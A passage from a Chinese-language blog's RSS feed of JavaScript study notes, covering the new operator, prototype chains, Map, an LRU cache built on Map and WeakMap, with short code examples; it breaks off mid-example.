</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">b</span><span class="p">);</span> <span class="c1">//3
</span></span></span></code></pre></div><h3 id="补充">补充</h3>
<ul>
<li>箭头函数没有 prototype 属性</li>
</ul>
<hr>
<h2 id="new">new</h2>
<h3 id="定义">定义</h3>
<ul>
<li>new 运算符创建一个<strong>用户定义的对象类型</strong>的实例或<strong>具有构造函数的内置对象</strong>的实例。 ——（来自于MDN）</li>
<li>不可以使用 <code>new Symbol()</code>，因为 symbol 是基本数据类型，每个从Symbol()返回的 symbol 值都是唯一的。</li>
</ul>
<h3 id="工作原理">工作原理</h3>
<p>当使用<code>new</code>调用构造函数时，会发生以下步骤：</p>
<ol>
<li>创建一个新的空对象。</li>
<li>将这个新对象的<code>__proto__</code>链接到构造函数的<code>prototype</code>属性上，建立原型继承关系。</li>
<li>执行构造函数，将<code>this</code>绑定到新创建的对象上，允许修改该对象的属性。</li>
<li>如果构造函数没有返回对象，则默认返回创建的对象。</li>
</ol>
<h3 id="简单实现">简单实现</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">myNew</span><span class="p">(</span><span class="nx">constructor</span><span class="p">,</span> <span class="p">...</span><span class="nx">args</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// 1. 创建一个空对象，并将其原型链链接到构造函数的 prototype
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="kr">const</span> <span class="nx">obj</span> <span class="o">=</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">create</span><span class="p">(</span><span class="nx">constructor</span><span class="p">.</span><span class="nx">prototype</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// 2. 执行构造函数，并将 `this` 绑定到新对象上
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="kr">const</span> <span class="nx">result</span> <span class="o">=</span> <span class="nx">constructor</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span><span class="nx">obj</span><span class="p">,</span> <span class="nx">args</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// 3. 如果构造函数返回的是对象类型，则返回该对象；否则返回新创建的对象
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">return</span> <span class="nx">result</span> <span class="k">instanceof</span> <span class="nb">Object</span> <span class="o">?</span> <span class="nx">result</span> <span class="o">:</span> <span class="nx">obj</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 测试用例
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">function</span> <span class="nx">Car</span><span class="p">(</span><span class="nx">color</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">this</span><span class="p">.</span><span class="nx">color</span> <span class="o">=</span> <span class="nx">color</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="nx">Car</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">start</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">color</span> <span class="o">+</span> <span class="s2">&#34; car start&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">car</span> <span class="o">=</span> <span class="nx">myNew</span><span class="p">(</span><span class="nx">Car</span><span class="p">,</span> <span class="s2">&#34;black&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">car</span><span class="p">.</span><span class="nx">color</span><span class="p">;</span> <span class="c1">// black
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nx">car</span><span class="p">.</span><span class="nx">start</span><span class="p">();</span> <span class="c1">// black car start
</span></span></span></code></pre></div><h3 id="代码输出题">代码输出题</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nb">Function</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nb">Object</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">F</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">//
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">f</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">F</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">F</span><span class="p">.</span><span class="nx">a</span><span class="p">);</span> <span class="c1">// 1
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">F</span><span class="p">.</span><span class="nx">b</span><span class="p">);</span> <span class="c1">// 2
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">f</span><span class="p">.</span><span class="nx">a</span><span class="p">);</span> <span class="c1">//undefined
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">f</span><span class="p">.</span><span class="nx">b</span><span class="p">);</span> <span class="c1">// 2
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">f</span><span class="p">.</span><span class="nx">prototype</span><span class="p">);</span> <span class="c1">//undefined
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">f</span><span class="p">.</span><span class="nx">__proto__</span><span class="p">);</span> <span class="c1">//{}
</span></span></span></code></pre></div><h3 id="参考">参考</h3>
<ul>
<li><a href="https://muyiy.cn/blog/3/3.5.html"  target="_blank" rel="noopener" >深度解析 new 原理及模拟实现 | 木易杨前端进阶</a></li>
</ul>
<hr>
<h2 id="原型原型链和实例的关系">原型，原型链和实例的关系</h2>
<h3 id="原型链prototype-chain">原型链（prototype chain）</h3>
<ul>
<li>在 JavaScript 中，每个对象都有一个指向其原型的链接，这个链接被称为原型链。</li>
<li>当尝试访问对象的属性或方法时，如果该对象本身没有这个属性或方法，JavaScript 引擎会沿着原型链向上查找，直到找到对应的属性或方法，或者查找到达原型链的末端（Object.prototype）。</li>
</ul>
<h3 id="实例-instance">实例 (instance)</h3>
<ul>
<li>根据某个类或构造函数创建的具体对象</li>
<li>当实例化一个类时，你创建了一个新的对象，该对象继承了类的属性和方法，同时拥有了自己的状态和行为。每个实例都是独立的，它们之间的状态和行为互不影响。</li>
<li>示例:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">Fn</span><span class="p">()</span> <span class="p">{}</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">Fn</span><span class="p">.</span><span class="nx">prototype</span><span class="p">)</span> <span class="c1">// {}
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">Fn</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">add</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">this</span><span class="p">.</span><span class="nx">count</span><span class="o">++</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="sb">`this.count: </span><span class="si">${</span><span class="k">this</span><span class="p">.</span><span class="nx">count</span><span class="si">}</span><span class="sb">`</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">Fn</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">count</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">fn1</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Fn</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="nx">fn1</span><span class="p">.</span><span class="nx">add</span><span class="p">();</span> <span class="c1">//1
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">fn1</span><span class="p">.</span><span class="nx">add</span><span class="p">();</span> <span class="c1">//2
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">fn2</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Fn</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="nx">fn2</span><span class="p">.</span><span class="nx">add</span><span class="p">();</span> <span class="c1">//3
</span></span></span></code></pre></div></li>
</ul>
<h3 id="原型链的性能">原型链的性能</h3>
<p>在现代引擎中，从性能的角度来看，我们是从对象还是从原型链获取属性都是没区别的。它们（引擎）会记住在哪里找到的该属性，并在下一次请求中重用它。</p>
<p>例如，对于 pockets.glasses 来说，它们（引擎）会记得在哪里找到的 glasses（在 head 中），这样下次就会直接在这个位置进行搜索。并且引擎足够聪明，一旦有内容更改，它们就会自动更新内部缓存，因此，该优化是安全的。</p>
<hr>
<h2 id="原生原型">原生原型</h2>
<ul>
<li>内建对象，像 Array、Date、Function 及其他，都在 prototype 上挂载了方法。</li>
<li>在现代编程中，只有一种情况下允许修改原生原型。那就是 polyfilling。</li>
</ul>
<h2 id="使用给定的原型创建对象">使用给定的原型创建对象</h2>
<h3 id="字面量语法">字面量语法</h3>
<h3 id="objectcreate">Object.create</h3>
<ul>
<li><code>Object.create(proto, [descriptors])</code></li>
<li>浅拷贝对象及其所有属性描述符（descriptors）</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">clone</span> <span class="o">=</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">create</span><span class="p">(</span><span class="nb">Object</span><span class="p">.</span><span class="nx">getPrototypeOf</span><span class="p">(</span><span class="nx">obj</span><span class="p">),</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">getOwnPropertyDescriptors</span><span class="p">(</span><span class="nx">obj</span><span class="p">));</span>
</span></span></code></pre></div><h2 id="参考-1">参考</h2>
<ul>
<li><a href="https://zh.javascript.info/prototype-inheritance"  target="_blank" rel="noopener" >原型继承</a></li>
<li><a href="https://zh.javascript.info/function-prototype"  target="_blank" rel="noopener" >F.prototype</a></li>
<li><a href="https://zh.javascript.info/native-prototypes"  target="_blank" rel="noopener" >原生的原型</a></li>
<li><a href="https://zh.javascript.info/prototype-methods"  target="_blank" rel="noopener" >原型方法，没有proto的对象</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>JavaScript知识点整理之映射与集合</title>
      <link>https://euds.org/2024/javascript_points_of_map_and_set/</link>
      <pubDate>Sat, 28 Sep 2024 15:34:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/javascript_points_of_map_and_set/</guid>
      <description>自己学习过程中整理的关于JavaScript中映射与集合的知识点</description>
      <content:encoded><![CDATA[<h2 id="map">Map</h2>
<h3 id="概念">概念</h3>
<ul>
<li>是一个带键的数据项的集合</li>
<li>允许任何类型的键（key）</li>
</ul>
<h3 id="常用方法">常用方法</h3>
<ul>
<li>new Map() —— 创建 map。</li>
<li>map.set(key, value) —— 根据键存储值。</li>
<li>map.get(key) —— 根据键来返回值，如果 map 中不存在对应的 key，则返回 undefined。</li>
<li>map.has(key) —— 如果 key 存在则返回 true，否则返回 false。</li>
<li>map.delete(key) —— 删除指定键的值。</li>
<li>map.clear() —— 清空 map。</li>
<li>map.size —— 返回当前元素个数。</li>
</ul>
<h3 id="迭代">迭代</h3>
<ul>
<li>迭代的顺序与插入值的顺序相同。与普通的 Object 不同，Map 保留了此顺序。</li>
<li>map.keys() —— 遍历并返回一个包含所有键的可迭代对象，</li>
<li>map.values() —— 遍历并返回一个包含所有值的可迭代对象，</li>
<li>map.entries() —— 遍历并返回一个包含所有实体 [key, value] 的可迭代对象，for..of 在默认情况下使用的就是这个。</li>
<li><code>map.forEach((value,key,map)=&gt;{})</code></li>
</ul>
<h3 id="map-是怎么比较键的">Map 是怎么比较键的？</h3>
<p>Map 使用 <a href="https://tc39.es/ecma262/#sec-samevaluezero"  target="_blank" rel="noopener" >SameValueZero</a> 算法来比较键是否相等。它和严格等于 === 差不多，但区别是 NaN 被看成是等于 NaN。所以 NaN 也可以被用作键。这个算法不能被改变或者自定义。</p>
<h3 id="map和object的区别">Map和Object的区别</h3>
<ul>
<li>Map可以支持任意JS数据类型作为键名，而Object只能是数值、字符串或者符号</li>
<li>内存占用： 不同浏览器下情况不同，Map大约比Object多存储50%的键值对</li>
<li>插入性能： 插入速度都不会因为键值对的数量进行线性增加，但对于大量插入操作，Map的性能更佳。</li>
<li>查找速度： 如果是少量的键值对，Object的速度更快</li>
<li>删除性能： Map在大多数浏览器引擎中删除操作较快</li>
</ul>
<h3 id="初始化">初始化</h3>
<ul>
<li>传入一个带有键值对的数组（或其它可迭代对象）来进行初始化</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// 键值对 [key, value] 数组
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="kd">let</span> <span class="nx">map</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Map</span><span class="p">([</span>
</span></span><span class="line"><span class="cl">  <span class="p">[</span><span class="s1">&#39;1&#39;</span><span class="p">,</span>  <span class="s1">&#39;str1&#39;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">  <span class="p">[</span><span class="mi">1</span><span class="p">,</span>    <span class="s1">&#39;num1&#39;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">  <span class="p">[</span><span class="kc">true</span><span class="p">,</span> <span class="s1">&#39;bool1&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">  <span class="p">]);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nx">alert</span><span class="p">(</span> <span class="nx">map</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s1">&#39;1&#39;</span><span class="p">)</span> <span class="p">);</span> <span class="c1">// str1
</span></span></span></code></pre></div><ul>
<li>使用Object.entries：从对象创建 Map
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl">  <span class="kd">let</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">name</span><span class="o">:</span> <span class="s2">&#34;John&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nx">age</span><span class="o">:</span> <span class="mi">30</span>
</span></span><span class="line"><span class="cl">  <span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="kd">let</span> <span class="nx">map</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Map</span><span class="p">(</span><span class="nb">Object</span><span class="p">.</span><span class="nx">entries</span><span class="p">(</span><span class="nx">obj</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nx">alert</span><span class="p">(</span> <span class="nx">map</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s1">&#39;name&#39;</span><span class="p">)</span> <span class="p">);</span> <span class="c1">// John
</span></span></span></code></pre></div></li>
<li>反过来，使用Object.fromEntries：从 Map 创建对象
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="kd">let</span> <span class="nx">map</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Map</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="nx">map</span><span class="p">.</span><span class="nx">set</span><span class="p">(</span><span class="s1">&#39;banana&#39;</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="nx">map</span><span class="p">.</span><span class="nx">set</span><span class="p">(</span><span class="s1">&#39;orange&#39;</span><span class="p">,</span> <span class="mi">2</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="nx">map</span><span class="p">.</span><span class="nx">set</span><span class="p">(</span><span class="s1">&#39;meat&#39;</span><span class="p">,</span> <span class="mi">4</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="kd">let</span> <span class="nx">obj</span> <span class="o">=</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">fromEntries</span><span class="p">(</span><span class="nx">map</span><span class="p">.</span><span class="nx">entries</span><span class="p">());</span> <span class="c1">// 创建一个普通对象（plain object）(*)
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">//可以更短
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// let obj = Object.fromEntries(map); // 省掉 .entries()
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl">  <span class="c1">// obj = { banana: 1, orange: 2, meat: 4 }
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl">  <span class="nx">alert</span><span class="p">(</span><span class="nx">obj</span><span class="p">.</span><span class="nx">orange</span><span class="p">);</span> <span class="c1">// 2
</span></span></span></code></pre></div></li>
</ul>
<h3 id="实现">实现</h3>
<p>可以使用两个数组（一个存放键，一个存放值）来实现。给这种映射设置值时会同时将键和值添加到这两个数组的末尾。从而使得键和值的索引在两个数组中相对应。当从该映射取值的时候，需要遍历所有的键，然后使用索引从存储值的数组中检索出相应的值。</p>
<p>但这样的实现会有两个很大的缺点：</p>
<ol>
<li>赋值和搜索操作都是 O(n) 的时间复杂度（n 是键值对的个数），因为这两个操作都需要遍历全部整个数组来进行匹配。</li>
<li>可能会导致内存泄漏，因为数组会一直引用着每个键和值。这种引用使得垃圾回收算法不能回收处理他们，即使没有其他任何引用存在了。</li>
</ol>
<h3 id="基于map的lru缓存实现">基于Map的LRU缓存实现</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="kr">class</span> <span class="nx">LRUCache</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">constructor</span><span class="p">(</span><span class="nx">capacity</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">this</span><span class="p">.</span><span class="nx">capacity</span> <span class="o">=</span> <span class="nx">capacity</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">this</span><span class="p">.</span><span class="nx">cache</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Map</span><span class="p">();</span> <span class="c1">// 用于存储缓存
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nx">get</span><span class="p">(</span><span class="nx">key</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="k">this</span><span class="p">.</span><span class="nx">cache</span><span class="p">.</span><span class="nx">has</span><span class="p">(</span><span class="nx">key</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span> <span class="c1">// 如果不存在，返回 -1
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// 如果存在，将该键值移到末尾表示最近使用
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="kr">const</span> <span class="nx">value</span> <span class="o">=</span> <span class="k">this</span><span class="p">.</span><span class="nx">cache</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="nx">key</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">this</span><span class="p">.</span><span class="nx">cache</span><span class="p">.</span><span class="k">delete</span><span class="p">(</span><span class="nx">key</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">this</span><span class="p">.</span><span class="nx">cache</span><span class="p">.</span><span class="nx">set</span><span class="p">(</span><span class="nx">key</span><span class="p">,</span> <span class="nx">value</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nx">value</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nx">put</span><span class="p">(</span><span class="nx">key</span><span class="p">,</span> <span class="nx">value</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">cache</span><span class="p">.</span><span class="nx">has</span><span class="p">(</span><span class="nx">key</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="c1">// 如果已存在，先删除旧的
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="k">this</span><span class="p">.</span><span class="nx">cache</span><span class="p">.</span><span class="k">delete</span><span class="p">(</span><span class="nx">key</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">cache</span><span class="p">.</span><span class="nx">size</span> <span class="o">===</span> <span class="k">this</span><span class="p">.</span><span class="nx">capacity</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="c1">// 如果缓存已满，删除最旧的（第一个）
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="k">this</span><span class="p">.</span><span class="nx">cache</span><span class="p">.</span><span class="k">delete</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">cache</span><span class="p">.</span><span class="nx">keys</span><span class="p">().</span><span class="nx">next</span><span class="p">().</span><span class="nx">value</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// 添加新值到缓存
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="k">this</span><span class="p">.</span><span class="nx">cache</span><span class="p">.</span><span class="nx">set</span><span class="p">(</span><span class="nx">key</span><span class="p">,</span> <span class="nx">value</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 使用示例
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kr">const</span> <span class="nx">lruCache</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">LRUCache</span><span class="p">(</span><span class="mi">2</span><span class="p">);</span> <span class="c1">// 创建容量为 2 的 LRU 缓存
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">lruCache</span><span class="p">.</span><span class="nx">put</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s1">&#39;A&#39;</span><span class="p">);</span> <span class="c1">// 缓存是 {1: &#39;A&#39;}
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">lruCache</span><span class="p">.</span><span class="nx">put</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="s1">&#39;B&#39;</span><span class="p">);</span> <span class="c1">// 缓存是 {1: &#39;A&#39;, 2: &#39;B&#39;}
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">lruCache</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="mi">1</span><span class="p">));</span> <span class="c1">// 返回 &#39;A&#39;，缓存变为 {2: &#39;B&#39;, 1: &#39;A&#39;}
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">lruCache</span><span class="p">.</span><span class="nx">put</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="s1">&#39;C&#39;</span><span class="p">);</span> <span class="c1">// 取消键 2，缓存是 {1: &#39;A&#39;, 3: &#39;C&#39;}
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">lruCache</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="mi">2</span><span class="p">));</span> <span class="c1">// 返回 -1（未找到）
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">lruCache</span><span class="p">.</span><span class="nx">put</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="s1">&#39;D&#39;</span><span class="p">);</span> <span class="c1">// 取消键 1，缓存是 {3: &#39;C&#39;, 4: &#39;D&#39;}
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">lruCache</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="mi">1</span><span class="p">));</span> <span class="c1">// 返回 -1（未找到）
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">lruCache</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="mi">3</span><span class="p">));</span> <span class="c1">// 返回 &#39;C&#39;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">lruCache</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="mi">4</span><span class="p">));</span> <span class="c1">// 返回 &#39;D&#39;
</span></span></span></code></pre></div><hr>
<h2 id="weakmap">WeakMap</h2>
<h3 id="要求">要求</h3>
<ul>
<li>键必须是可被垃圾回收的
<ul>
<li>大多数原始数据类型可以任意地被创建，且<strong>没有生命周期</strong>，因此不能作为键</li>
<li><strong>对象和非全局注册的符号</strong>都可以作为键，因为它们是可被垃圾回收的</li>
</ul>
</li>
</ul>
<h3 id="特点">特点</h3>
<ul>
<li>WeakMap 的键对象会强引用其值，直到该键对象被垃圾回收，但从那时起，它会变为弱引用</li>
<li>不会阻止垃圾回收，直到垃圾回收器移除了键对象的引用</li>
<li>任何值都可以被垃圾回收，只要它们的键对象没有被 WeakMap 以外的地方引用</li>
<li>不支持遍历</li>
</ul>
<h3 id="强引用与弱引用">强引用与弱引用</h3>
<ul>
<li>对象的弱引用是指该引用<strong>不会阻止</strong> GC 回收这个对象。</li>
<li>一个普通的引用（或者说强引用）会将与之对应的对象保存在内存中。</li>
<li>只有当该对象没有任何的强引用时，JavaScript 引擎 GC 才会销毁该对象并且回收该对象所占的内存空间。如果上述情况发生了，那么你就无法通过任何的弱引用来获取该对象。</li>
</ul>
<h3 id="作用一-模拟私有成员">作用一: 模拟私有成员</h3>
<ul>
<li>好处
<ol>
<li>与<code>Map</code>相比，<code>WeakMap</code>不持有键对象的强引用，因此元数据与对象本身共享同样的生命周期，<strong>避免内存泄漏</strong>。</li>
<li>与使用不可枚举对象和/或<code>Symbol</code>属性相比，<code>WeakMap</code>位于对象外部，没有办法通过像<code>Object.getOwnPropertySymbols</code>等的反射方法来检索元数据。</li>
<li>与闭包相比，构造函数可以复用同一个<code>WeakMap</code>对象来创建所有实例，从而节省内存，并且允许同一个类创建的不同实例读取彼此的私有成员。</li>
</ol>
</li>
<li>代码:</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">Thing</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">privateScope</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">WeakMap</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="kd">let</span> <span class="nx">counter</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nx">Thing</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">this</span><span class="p">.</span><span class="nx">someProperty</span> <span class="o">=</span> <span class="s2">&#34;foo&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
